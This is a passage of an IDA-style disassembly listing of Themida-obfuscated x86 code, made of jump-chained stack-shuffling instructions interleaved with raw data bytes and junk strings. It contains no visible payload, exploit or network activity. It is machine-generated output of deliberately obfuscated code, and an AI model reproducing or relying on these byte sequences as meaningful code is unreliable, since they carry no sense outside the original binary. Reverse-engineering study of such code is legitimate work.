		dw 0DEF6h
		dd 0E9DCF680h, 6D09h, 0D63055BEh, 0B7BA525Fh, 1AC14DDh
		dd 52E95AD6h, 0FFFFFFE4h, 54E92434h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5673D3:				; CODE XREF: Themida_:00566509j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 0FE342D57h
		jmp	loc_569BA7
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 3358C101h, 0C31240Ch, 240C3324h, 0B94FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5673FE:				; CODE XREF: Themida_:0056A053j
		mov	edx, [esp]
		jmp	loc_55EC91
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0BB09E924h, 8143FFFFh, 2B1581CBh, 39CB8114h,	55598945h
		dd 13C2BA52h, 0F2815A35h, 19344A56h, 575AD589h,	563DE9h
		dd 44736800h, 14890000h, 0FD96E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56743E:				; CODE XREF: Themida_:00566617j
		push	edi
		mov	edi, esp
		jmp	loc_56AAAF
; ---------------------------------------------------------------------------
aYsI		db 'Yé²i',0
		align 4
		dd 0B78E981h, 0F101481Bh, 1875BA52h, 0EAC10EBFh, 14BE5608h
		dd 934DA78h, 27E95EF2h
		db 99h,	2 dup(0)
byte_56746B	db 0FFh			; DATA XREF: Themida_:0055DF70o
a4Yspk		db '4$Yé¯K',0
		align 4


loc_567474:				; CODE XREF: Themida_:0056D9F5j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	esi
		jmp	loc_55EA48
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0B1h
		dd 0E9F75337h, 0FFFF77CAh
; ---------------------------------------------------------------------------


loc_56748C:				; CODE XREF: Themida_:00570698j
		pop	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56CF65
; ---------------------------------------------------------------------------
		dd 6987E981h, 62E9477Ch
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674AF:				; CODE XREF: Themida_:00567CF6j
		not	edx
		jmp	loc_565883
; ---------------------------------------------------------------------------


loc_5674B6:				; CODE XREF: Themida_:0056A85Cj
		push	dword ptr [esp+4]
		jmp	loc_55F657
; ---------------------------------------------------------------------------


loc_5674BF:				; CODE XREF: Themida_:00568C92j
		mov	eax, [esp]
		jmp	loc_56558C
; ---------------------------------------------------------------------------


loc_5674C7:				; CODE XREF: Themida_:0056A3E8j
		push	esi
		mov	esi, 144068B3h
		jmp	loc_56268F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7E7CB924h, 0D9F7209Eh, 242AF181h, 0B8503805h, 56BC4312h
		dd 0C106E0C1h, 0E8C103E0h, 79222D02h, 68E9FE7Ch, 5A00006Ch
		dd 2A24E956h, 0CD010000h, 89F58159h, 0C1787125h, 0CD8104EDh
		dd 12FE69DAh, 2391E9h, 3C875C00h, 0EC835C24h, 0C896602h
		dd 0F934E924h, 0F766FFFFh, 83AE9DBh, 0B6520000h, 5AF02839h
		dd 4E95266h, 89000096h,	6857242Ch, 39C533E8h, 9CF7815Fh
		dd 8162595Fh, 0B07048CFh, 25EF814Ch, 81133373h,	1DBCBAEFh
		dd 0C3A8E9DCh, 0E95FFFFFh, 0FFFFFAC8h
; ---------------------------------------------------------------------------


loc_56756C:				; CODE XREF: Themida_:005655E5j
		inc	ebp
		sub	ebp, 36A32768h
		xor	eax, ebp
		jmp	loc_56A99A
; ---------------------------------------------------------------------------
		dw 48Fh
aS_8		db '$\é¶$',0
		db 0
; ---------------------------------------------------------------------------


loc_567583:				; CODE XREF: Themida_:0056C7C2j
		add	esp, 4
		push	ecx
		mov	ecx, 423C2CAEh
		and	eax, ecx
		jmp	loc_55EAEE
; ---------------------------------------------------------------------------
		db 52h
		dd 98456EBAh, 2454296Bh, 815F5A04h, 98456EC7h, 7D7BE96Bh
		dd 78B90000h, 5020F127h, 0F11EAB8h, 28E95242h, 810000B5h
		dd 0DB2BF0C7h, 0AE95E911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5675C6:				; CODE XREF: Themida_:0056FB7Fj
		push	6938h
		mov	[esp], ecx
		mov	ecx, 0C414950h
		xchg	esi, ecx
		dec	esi
		push	ecx
		jmp	loc_5602C2
; ---------------------------------------------------------------------------
		dd 3D27BF57h, 0EFC1695Bh, 81D7F703h, 33BDE8F7h,	0E9FD01A3h
		dd 0FFFF8CFAh
; ---------------------------------------------------------------------------


loc_5675F4:				; CODE XREF: Themida_:00561A80j
		add	esp, 4
		jmp	loc_55E524
; ---------------------------------------------------------------------------
		dd 14BBC681h, 0F52130CDh, 8124348Bh, 4C4h, 969EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567612:				; CODE XREF: Themida_:00570131j
		push	1
		push	dword ptr [esp]
		jmp	loc_56B597
; ---------------------------------------------------------------------------
		db 1
		dd 0EB0158C3h, 18C5EB81h, 0BA5263D9h, 354F7FB0h, 0A9CA8142h
		dd 0E938435Ch, 0FFFF817Fh, 1416859h, 0C890000h,	581FE924h
		dd 0ACBB0000h, 892D7F5Dh, 685BD8h, 8900005Ch, 0B7B9240Ch
		dd 4138515Dh, 0E38AE952h, 0EC83FFFFh, 4389E904h, 2C870000h
		dd 24348B24h, 8104C483h, 9B6544E6h, 8E6C132h, 430ACE81h
		dd 0E95369F6h, 80D8h
; ---------------------------------------------------------------------------


loc_56768C:				; CODE XREF: Themida_:0056BA1Cj
		mov	ebp, 2A95422Eh
		add	ebp, 0FFFFFFFFh
		dec	ebp
		jmp	loc_565FA2
; ---------------------------------------------------------------------------
		db 5, 74h, 6Eh
		dd 0F80148C4h, 0C46E742Dh, 243C8B48h, 0AEA7E9h,	1E95700h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5676B7:				; CODE XREF: Themida_:00567020j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	35A9h
		mov	[esp], esi
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_564DE5
; ---------------------------------------------------------------------------


loc_5676D8:				; CODE XREF: Themida_:0056E48Cj
		mov	edi, 4
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56DFE4
; ---------------------------------------------------------------------------


loc_5676F7:				; CODE XREF: Themida_:0056275Ej
		mov	[esp], ebp
		push	40h
		mov	ebp, [esp]
		jmp	loc_567FC4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815D2434h, 4C4h, 4C18100h, 87000000h, 248B240Ch, 0A407E924h
		dd 0C4810000h, 4, 3304C283h, 14312414h,	24143324h, 0E924248Bh
		dd 4C5Fh, 48BC729h, 4C48124h, 0E9000000h, 0FFFF88BEh, 872CD828h
		dd 6602EC83h, 83241489h, 896602ECh, 1EB1240Ch, 88CB8853h
		dd 0EB74E9DAh, 0F381FFFFh, 66EB2FFEh, 0FFDED2E9h, 1C283FFh
		dd 1EA814Ah, 56000000h,	0E90318BEh, 19CE8175h, 8161D41Eh
		dd 268C7CC6h, 924DE9CEh, 0C381FFFFh, 14FB426Dh,	0FF70F4E9h
		dd 685256FFh, 53084823h, 7151E95Ah, 6968FFFFh, 89000044h
		dd 0E957241Ch, 66BFh
; ---------------------------------------------------------------------------


loc_5677BC:				; CODE XREF: Themida_:0057127Fj
		add	esp, 4
		add	edx, 0A7FBD880h
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_569C99
; ---------------------------------------------------------------------------
		dw 0BCE9h
		dd 89FFFF68h, 0EF295BDDh, 243C875Dh, 608E9h, 2434FF00h
		dd 81241C8Bh, 4C4h, 4C48300h, 0FF8A6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567805:				; CODE XREF: Themida_:0056A995j
		pop	eax
		sub	ebx, 6E4D63FCh
		push	edx
		push	ecx
		jmp	loc_56A164
; ---------------------------------------------------------------------------
		db 8Bh
		dd 99E92414h, 80FFFFCDh, 0B652ADC3h, 0E9D6F632h, 0A4CEh
		dd 81E18951h, 4C1h, 79BF5700h, 0E95D1613h, 1CDDh, 540394B9h
		dd 0A8D1E900h, 0C483FFFFh, 6851E904h, 0D901FFFFh, 1F9BE981h
		dd 815B3CA1h, 4E9h, 240C8700h, 0FF9391E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567865:				; CODE XREF: Themida_:00568F9Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	eax
		or	eax, 70E86730h
		push	0
		sub	[esp], eax
		mov	eax, [esp]
		jmp	loc_5649F3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0F0280000h, 53525A66h, 0E0E9C0B3h, 2900001Fh
		dd 33DC05F0h, 0EC831A75h, 242C8904h, 6E63BBBDh,	0DDF74555h
		dd 7293C581h, 0E801B16Dh, 3E685E5Dh, 8900003Bh,	3468240Ch
		dd 89000075h, 0E0892404h, 56F8BB53h, 0CB816E39h, 76646596h
		dd 814FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5678E1:				; CODE XREF: Themida_:0055E80Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	6B28h
		jmp	loc_569E67
; ---------------------------------------------------------------------------
		dd 74FF525Ch, 8F5A0424h, 248B2404h, 24042124h, 6791E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56790E:				; CODE XREF: Themida_:0056E361j
		add	ecx, 3C552EF8h
		mov	eax, [esp]
		jmp	loc_571982
; ---------------------------------------------------------------------------
		dd 48A0B850h, 0C5897DE8h, 3EDC158h, 8106EDC1h, 0D46539EDh
		dd 32CD8140h, 5273B31Ah, 452E59BAh, 0F8CA813Dh,	5661AB52h
		dd 0FFE780E9h, 68FFh, 0D5E90000h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_567953:				; CODE XREF: Themida_:0056E2D9j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56706C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E1D104E9h, 84E2BF57h, 0FFE904C5h
		db 98h,	2 dup(0FFh)
byte_567973	db 66h			; DATA XREF: Themida_:0055DEA8o
		dd 0E924048Bh, 0FFFF97E5h
; ---------------------------------------------------------------------------


loc_56797C:				; CODE XREF: Themida_:0056C311j
		mov	[esp], ecx
		mov	ecx, 75767CDEh
		push	esi
		mov	esi, 404872C8h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F385
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFB756h
; ---------------------------------------------------------------------------


loc_5679A0:				; CODE XREF: Themida_:0056841Cj
		not	ebp
		add	ebp, 9E48E692h
		sub	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_572939
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0B1F68h, 24148900h, 0EB5FD9BAh, 0EFEA810Bh, 2DCD4F2Ah
		dd 7AF124BFh, 0F4E9D001h, 6600004Dh, 308FB551h,	0FE5966ECh
		dd 0AFCFE9CCh, 0E95B0000h, 0FFFF96CBh
; ---------------------------------------------------------------------------


loc_5679E8:				; CODE XREF: Themida_:0055EA59j
		mov	[esp], ebp
		jmp	loc_5672C6
; ---------------------------------------------------------------------------
		dd 51241489h, 0D7202268h, 0C1815943h, 6AE8303Eh, 0FFE37AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567A05:				; CODE XREF: Themida_:0056FD3Ej
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56B677
; ---------------------------------------------------------------------------
		dw 0DDF7h
aBDIss5		db 'Å/„!>‰èé5\',0
		db 0
; ---------------------------------------------------------------------------


loc_567A31:				; CODE XREF: Themida_:005694B9j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56EB16
; ---------------------------------------------------------------------------
byte_567A3F	db 66h			; DATA XREF: Themida_:0055DF88o
		dd 8324048Bh, 7FE904ECh, 5F000001h, 5604C483h, 2BEh, 0E9F10100h
		dd 0FFFFE6AFh, 8478EF81h, 0FB899635h, 8BC2815Fh, 0E92D3859h
		dd 1240h, 5224048Fh, 0FFD974E9h, 240C89FFh, 2B9h, 0D80FE900h
		dd 5D5AFFFFh, 5E75A205h, 56D8012Dh, 5E75A2BEh, 5EF0292Dh
		dd 308E685Bh, 3C890000h, 2BF24h, 732D0000h, 1175615h, 73B951F8h
		dd 1175615h, 3C8B59C8h,	4C48324h, 328E68h, 24048900h, 0FF9BD5E9h
		dd 0EC8358FFh, 24148904h, 0D788E288h, 0FF92A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567AD9:				; CODE XREF: Themida_:0056BE30j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_569AEF
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812424h, 4, 83243489h, 0C8904ECh,	75C7E924h, 0D9290000h
		dd 9E32E9h
		db 0
; ---------------------------------------------------------------------------


loc_567B21:				; CODE XREF: Themida_:0055E7F0j
		mov	ebp, 74836CCFh
		shr	ebp, 6
		sub	ebp, 0A14C9AEFh
		jmp	loc_55E810
; ---------------------------------------------------------------------------
		dd 4240483h, 0FFE975E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B3D:				; CODE XREF: Themida_:0055E9DAj
		xor	ebx, 44330CC7h
		jmp	loc_55EE3A
; ---------------------------------------------------------------------------
		dd 0DE2D5B5Dh, 14A867Ah, 7ADE05E8h, 34FF4A86h, 242C8B24h
		dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 0FFFFD851h
; ---------------------------------------------------------------------------


loc_567B70:				; CODE XREF: Themida_:00570C8Cj
		mov	edi, 4
		add	ebx, 386E0BFFh
		push	ecx
		mov	ecx, 6F9A18EEh
		and	ecx, 119C1BBCh
		sub	ecx, 25BC7D1Fh
		not	ecx
		sub	ecx, 7AFE31DEh
		jmp	loc_56E0F4
; ---------------------------------------------------------------------------


loc_567B9A:				; CODE XREF: Themida_:005622B6j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		mov	ebp, esi
		pop	esi
		jmp	loc_55F7F8
; ---------------------------------------------------------------------------


loc_567BB1:				; CODE XREF: Themida_:0056AD6Aj
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_56F12E
; ---------------------------------------------------------------------------
		db 29h
		dd 3C875EF7h, 0C5D1E924h, 1C89FFFFh, 9F93E924h,	87590000h
		dd 895C2404h, 0B753240Ch, 0B1CF8083h, 0CE9D7F6h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BE7:				; CODE XREF: Themida_:0055EB68j
		mov	esp, [esp]
		neg	ebx
		jmp	loc_56A955
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 5
		dd 53431D29h, 96513ABBh, 5BDD016Bh, 43CFF581h, 0F5813A0Ah
		dd 53722995h, 5602EDC1h, 993604BEh, 0EDF68139h,	0E91C9480h
		dd 0FFFFE987h
; ---------------------------------------------------------------------------


loc_567C20:				; CODE XREF: Themida_:005622A9j
		mov	[esp], ecx
		add	dword ptr [esp], 2A256875h
		pop	edx
		sub	edx, 2A256875h
		mov	ecx, [esp]
		jmp	loc_56CA4F
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0E0E90000h
		db 8Eh,	2 dup(0)
aMhtl		db '¬hTl',0             ; DATA XREF: Themida_:0055DEE8o
		dd 240C8900h, 0D9F6D5B1h, 0A0C5E9h, 0E9D83100h,	0FFFF6983h
; ---------------------------------------------------------------------------


loc_567C60:				; CODE XREF: Themida_:0055E573j
		mov	edi, esp
		add	edi, 4
		push	3DDDh
		mov	[esp], ebx
		push	6498h
		jmp	loc_56E52E
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 0A473E924h, 0BA52FFFFh, 5D773494h, 8D59092Dh, 6317E95Ah
		dd 0C7680000h, 89000072h, 0C1B9240Ch, 495FEE27h, 8105E1C1h
		dd 16629CC1h, 59CD8946h, 785FE9h
		db 0
; ---------------------------------------------------------------------------


loc_567CB1:				; CODE XREF: Themida_:00566BB6j
		mov	edx, 27E00D3Dh
		sub	ebx, 2BD717A0h
		add	ebx, edx
		add	ebx, 2BD717A0h
		jmp	loc_5719C5
; ---------------------------------------------------------------------------


loc_567CC9:				; CODE XREF: Themida_:00561227j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		mov	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 28h
		jmp	loc_55E513
; ---------------------------------------------------------------------------


loc_567CEC:				; CODE XREF: Themida_:0055E7A8j
		mov	[esp], ebp
		jmp	loc_5613C3
; ---------------------------------------------------------------------------


loc_567CF4:				; CODE XREF: Themida_:0056C88Fj
		xor	eax, edx
		jmp	loc_5674AF
; ---------------------------------------------------------------------------
		db 80h
		dd 50511BEBh, 15B6BB8h,	11E95579h, 88FFFFFCh, 0D6F658E5h
		dd 88F78853h, 5BFD88EEh, 3071C580h, 240C8BEAh, 815B5453h
		dd 4C3h, 4C38300h, 5C241C87h, 0D000912Ch, 0A5BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_567D39:				; CODE XREF: Themida_:005671F6j
		sub	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		jmp	loc_57157C
; ---------------------------------------------------------------------------
word_567D4A	dw 77FFh		; DATA XREF: Themida_:0055DF10o
		dd 58669D1Ch, 9C240418h, 0FF6346E9h, 97C681FFh,	17AEC25h
		dd 97EE81EEh, 0E97AEC25h, 0FFFFAA99h, 0E9D3F766h, 32CAh
		dd 4C481h, 0F7960000h, 0FFB850DEh, 0E9FFFFFFh, 4420h, 0BB241C89h
		dd 2200753Ah, 11AEF381h, 0EBC12500h, 7A4EE907h,	0EC830000h
		dd 24048904h, 0B0E2B652h, 0D60494h, 5AD62CF0h, 0B2525166h
		dd 80DAF64Eh, 0F28070EAh, 0E9D18826h, 8750h, 8B82C380h
		dd 0EC832414h, 5F6DE904h, 535A0000h, 7606CBBBh,	0C381431Dh
		dd 4EFB4E7Bh, 0E906E3C1h, 2DAAh, 8102E1C1h, 0DE6ECCC9h
		dd 7E1C10Dh, 96A1E9h, 24248B00h, 54240C89h, 95E95559h
		dd 58000000h, 0E902EEC1h, 6981h
; ---------------------------------------------------------------------------


loc_567E10:				; CODE XREF: Themida_:00568C09j
		add	edi, 220458B5h
		jmp	loc_565FC3
; ---------------------------------------------------------------------------


loc_567E1B:				; CODE XREF: Themida_:0056D9D5j
		sub	eax, 3BB44353h
		push	edi
		push	3C01CCDh
		pop	edi
		jmp	loc_560905
; ---------------------------------------------------------------------------
		dd 22F7E981h, 0CA0182A7h, 0D5DE9h, 0A9EF8100h, 17FFFC3h
		dd 6C685FFEh, 8900006Ah, 0BA52240Ch, 538567DBh,	67CEF281h
		dd 0C2812578h, 90272691h, 555AD189h, 0A185E9h, 41EA8100h
		dd 0E97F0C55h, 737Fh
aMsY		db '¬éÌY',0             ; DATA XREF: Themida_:0055DE78o
		align 2


loc_567E76:				; CODE XREF: Themida_:00571E4Aj
		push	32ECh
		mov	[esp], ebx
		jmp	loc_567064
; ---------------------------------------------------------------------------
byte_567E83	db 0FFh			; DATA XREF: Themida_:0055DEB4o
		dd 52582434h, 1E95A54h,	5400004Bh, 4C3815Bh, 0E9000000h
		dd 0FFFF7332h, 1E3DBF57h, 0BA521DC3h, 28664C9Bh, 0C15AD701h
		dd 814F06E7h, 126C7CC7h, 5FFD8992h, 0FFE38AE9h,	240C89FFh
		dd 0E953E189h, 0FFFFE690h
; ---------------------------------------------------------------------------


loc_567EC8:				; CODE XREF: Themida_:00570803j
		pop	ebp
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5709A6
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0D6h
		dd 0E91A2452h, 0FFFF6CD0h
; ---------------------------------------------------------------------------


loc_567EE4:				; CODE XREF: Themida_:005684E9j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 69480D57h
		push	eax
		mov	eax, 4D2C4462h
		sub	[esp+8], eax
		pop	eax
		sub	dword ptr [esp+4], 3C0627D4h
		pop	eax
		jmp	loc_560F3A
; ---------------------------------------------------------------------------


loc_567F09:				; CODE XREF: Themida_:0056CAECj
		add	ebx, 264821D0h
		pop	esi
		sub	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	46AAh
		jmp	loc_563DC5
; ---------------------------------------------------------------------------


loc_567F20:				; CODE XREF: Themida_:00566F97j
		push	edi
		push	ecx
		push	edx
		mov	edx, 2AAD4D36h
		mov	ecx, edx
		jmp	loc_56834F
; ---------------------------------------------------------------------------
		db 2Dh
		dd 77F9393Bh, 0CE480505h, 8C63E934h, 0F109FFFFh, 18CFE9h
		dd 8AED8000h, 0E9EC8850h, 92A9h
; ---------------------------------------------------------------------------


loc_567F50:				; CODE XREF: Themida_:005708B7j
		push	edi
		push	4
		pop	edi
		sub	ebx, 740A1434h
		add	ebx, 782A5A86h
		add	ebx, edi
		sub	ebx, 782A5A86h
		add	ebx, 740A1434h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562DD7
; ---------------------------------------------------------------------------


loc_567F82:				; CODE XREF: Themida_:0056F549j
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dw 0CBBFh
		dd 0E90E8831h, 1936h, 8104C483h, 5B1D85F7h, 0F1EF8160h
		dd 0E95AB709h, 69B0h, 83243489h, 248904ECh, 4BB5324h, 1000000h
		dd 0E904245Ch, 0FFFFBA13h
; ---------------------------------------------------------------------------


loc_567FC4:				; CODE XREF: Themida_:00567702j
		sub	esp, 4
		jmp	loc_566DA3
; ---------------------------------------------------------------------------
		db 81h
		dd 0E84ACBEFh, 0F2F78129h, 0E967F70Ch, 0FFFF7D82h, 4EC8150h
		dd 89000000h, 0BB532424h, 4, 4245C01h, 0A7E9585Bh
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567FFB:				; CODE XREF: Themida_:0056D4B8j
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 78D92C6Ch
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		add	edi, 0A6DEFBF1h
		jmp	loc_56549D
; ---------------------------------------------------------------------------


loc_568022:				; CODE XREF: Themida_:0055FC07j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_56E6EB
; ---------------------------------------------------------------------------


loc_568036:				; CODE XREF: Themida_:00564ECBj
		pop	edx
		jmp	loc_569EBF
; ---------------------------------------------------------------------------
		dd 0C281EA29h, 7B65306Fh, 81242C8Bh, 4C4h, 24048B00h, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 42FFE9h, 2332BA00h, 0D6893B1Bh
		dd 0FFB52EE9h
		db 0FFh
byte_568071	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DF90o
		dd 8124048Bh, 4C4h, 4EC8300h, 54243C89h, 5F2434FFh, 6804C483h
		dd 3838h, 68242C89h, 4C0Dh, 68241489h, 40365BFCh, 8324148Bh
		dd 0EA8104C4h, 57861E9Eh, 0A005E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5680B2:				; CODE XREF: Themida_:0056221Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	30EEh
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_562B9A
; ---------------------------------------------------------------------------
		db 57h,	68h, 0D3h
		dd 5F00F311h, 0F781EFD1h, 7115FD8Ch, 0BD5FFA89h, 239D26FAh
		dd 0C82E581h, 4545260Ah, 0A8DEE9h, 3E5C100h, 524ECD81h
		dd 0F5813C06h, 0E447B531h, 295DEB01h, 4EC83D3h,	0BF243C89h
		dd 33943DC1h, 4EC8157h,	0E9000000h, 344Ah
; ---------------------------------------------------------------------------


loc_568124:				; CODE XREF: Themida_:00570D20j
		pop	cx
		jmp	loc_568A3B
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 4896624h,	5F65E924h, 0D9F7FFFFh, 0F703E1C1h
		dd 14C981D1h, 814FC60Ah, 20D0A0C1h, 59CB89A0h, 0BE9DA01h
		dd 81000003h, 0A36632C6h, 240C8B74h, 0A7F5E9h, 24048F00h
		dd 0E924248Bh, 0FFFFC064h, 17E9FE01h, 81FFFF71h, 3164C8C3h
		dd 5CF38174h, 0E960CB34h, 6348h, 81242489h, 42404h, 0E95D0000h
		dd 89BEh, 1C1C3BBFh, 7EFC161h, 5EFC14Fh, 5DE9E781h, 0E7815593h
		dd 44D43933h, 8C00E9h
		db 0
; ---------------------------------------------------------------------------


loc_5681B5:				; CODE XREF: Themida_:00571598j
		sub	ecx, 29E41F4Ch
		jmp	loc_56EE75
; ---------------------------------------------------------------------------
		dd 4C48158h, 0E9000000h, 0FFFF5ED3h, 5239B753h,	0C3E900B6h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5681D7:				; CODE XREF: Themida_:0055FA7Aj
		pop	ebx
		and	ecx, eax
		jmp	loc_568A61
; ---------------------------------------------------------------------------
		db 81h
		dd 0F3FF30C2h, 5AD089B6h, 815DE801h, 381F86C5h,	37C58124h
		dd 11C7451h, 37ED81C5h,	0E91C7451h, 8E01h, 5F1CBA52h, 0E2D119BBh
		dd 4336CA81h, 0CA810EC6h, 2CB5414Eh, 6D50F281h,	0EA812852h
		dd 1C2739C7h, 18A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_568229:				; CODE XREF: Themida_:0055E74Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	1B4Ah
		mov	[esp], edx
		mov	edx, 22AB136Fh
		or	edx, 285C12D0h
		shr	edx, 3
		dec	edx
		push	ecx
		mov	ecx, 19B516F6h
		add	ecx, 43BA5731h
		jmp	loc_56576A
; ---------------------------------------------------------------------------
byte_568261	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DE58o
aWicpsN		db '$W‰çPé`n',0
		align 2
a_bP		db '_Âp$',0
		dd 0E9C20114h, 0FFFF7A90h, 815AD321h, 0DD2B2FC3h, 3FBA5230h
		dd 681A4F34h, 0
		dd 5A241429h, 7EAC14Ah,	0FFDAB5E9h, 241C89FFh, 8056B151h
		dd 0C1FE39F1h, 0E9ABF180h, 0FFFFA114h, 0BF243C89h, 24386915h
		dd 4C68A1BBh, 5FFB29DAh, 1C8BDF29h, 4C48324h, 86DFE9h
		db 0
byte_5682CD	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0055DED8o
		dd 0C8E99C24h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682D7:				; CODE XREF: Themida_:00565FCAj
		push	dword ptr [esp]
		jmp	loc_56A875
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF2434FFh, 93E92434h, 89000018h, 0E9502424h, 0FFFF8D62h
		dd 65E3CA81h, 0F2815323h, 38EE6992h, 21D9E281h,	67E90445h
		dd 55FFFF76h, 4BDh, 5DE82900h, 5C240487h, 0B8240489h, 1FA71359h
		dd 0E958C689h, 0FFFF607Bh, 59240C29h, 10EFE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568332:				; CODE XREF: Themida_:00572524j
		push	ebp
		push	5386h
		jmp	loc_5633C3
; ---------------------------------------------------------------------------
		db 40h,	0E9h, 2Dh
		dd 53FFFFDFh, 0BD665566h, 3E90B30h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56834F:				; CODE XREF: Themida_:00567F2Aj
		pop	edx
		jmp	loc_566F61
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 104C483h, 8B04247Ch,	5C68243Ch, 8900003Fh, 0E189240Ch
		dd 4C181h, 0E9500000h, 0FFFFF06Fh, 528734FFh, 143B61BAh
		dd 0E895E92Eh, 0C729FFFFh, 0FF7807E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56838D:				; CODE XREF: Themida_:005705D0j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_560BBF
; ---------------------------------------------------------------------------


loc_56839E:				; CODE XREF: Themida_:0056C4FFj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56E537
; ---------------------------------------------------------------------------
		db 83h
		dd 0E98101C1h, 0CB978BA3h, 597DEA81h, 0EA817C16h, 640F7B9Eh
		dd 0FFAA93E9h, 4C181FFh, 68000000h, 30F3h, 0BB241C89h
